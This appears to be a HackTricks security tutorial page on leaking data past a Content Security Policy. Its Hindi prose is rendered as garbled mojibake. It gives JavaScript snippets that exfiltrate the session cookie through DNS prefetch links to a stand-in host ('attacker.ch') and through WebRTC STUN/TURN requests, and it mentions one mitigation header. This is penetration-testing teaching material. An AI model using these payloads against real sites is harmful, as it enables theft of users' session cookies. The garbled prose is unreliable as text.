рдкреГрд╖реНрдареЛрдВ рдХреЛ рддреЗрдЬреА рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЛ рдЖрдИрдкреА рдкрддреЗ рдореЗрдВ рдкреВрд░реНрд╡-рд╣рд▓ рдХрд░рдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдмрд╛рдж рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдХреИрд╢ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред
рдЖрдк рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдПрдХ рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЛ рдкреВрд░реНрд╡-рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреЗ рд╣реИрдВ: <link rel="dns-prefetch" href="something.com">

рдЖрдк рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ DNS рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

рдПрдХ рдФрд░ рддрд░реАрдХрд╛:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

рдЗрд╕рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░ HTTP рд╣реЗрдбрд░ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ:

X-DNS-Prefetch-Control: off

{% hint style="info" %} рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ, рдпрд╣ рддрдХрдиреАрдХ рд╣реЗрдбрд▓реЗрд╕ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ (рдмреЙрдЯреНрд╕) рдореЗрдВ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддреА рд╣реИред {% endhint %}

WebRTC

рдХрдИ рдкреГрд╖реНрдареЛрдВ рдкрд░ рдЖрдк рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ WebRTC CSP рдХреА connect-src рдиреАрддрд┐ рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЖрдк DNS рдЕрдиреБрд░реЛрдз рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдХреЛрдб рдХреЛ рджреЗрдЦреЗрдВ:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

рдПрдХ рдФрд░ рд╡рд┐рдХрд▓реНрдк:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CSP рдиреАрддрд┐рдпреЛрдВ рдХреА рдСрдирд▓рд╛рдЗрди рдЬрд╛рдВрдЪ

CSP рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмрдирд╛рдирд╛

https://csper.io/docs/generating-content-security-policy

рд╕рдВрджрд░реНрдн

тАЛ

рдЕрдиреБрднрд╡реА рд╣реИрдХрд░реНрд╕ рдФрд░ рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд╢рд┐рдХрд╛рд░рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HackenProof Discord рд╕рд░реНрд╡рд░ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ!

рд╣реИрдХрд┐рдВрдЧ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐
рд╣реИрдХрд┐рдВрдЧ рдХреЗ рд░реЛрдорд╛рдВрдЪ рдФрд░ рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рд╕рдВрд▓рдЧреНрди рд╣реЛрдВ

рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рд╣реИрдХ рд╕рдорд╛рдЪрд╛рд░
рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдХреА рд╕рдорд╛рдЪрд╛рд░ рдФрд░ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рддреЗрдЬрд╝-рддрд░реНрд░рд╛рд░ рд╣реИрдХрд┐рдВрдЧ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рд╛рде рдЕрджреНрдпрддрд┐рдд рд░рд╣реЗрдВ

рдирд╡реАрдирддрдо рдШреЛрд╖рдгрд╛рдПрдБ
рдирд╡реАрдирддрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд▓реЙрдиреНрдЪ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЕрдкрдбреЗрдЯ рдХреЗ рд╕рд╛рде рд╕реВрдЪрд┐рдд рд░рд╣реЗрдВ

рд╣рдорд╕реЗ рдЬреБрдбрд╝реЗрдВ Discord рдкрд░ рдФрд░ рдЖрдЬ рд╣реА рд╢реАрд░реНрд╖ рд╣реИрдХрд░реНрд╕ рдХреЗ рд╕рд╛рде рд╕рд╣рдпреЛрдЧ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВ!

{% hint style="success" %} AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}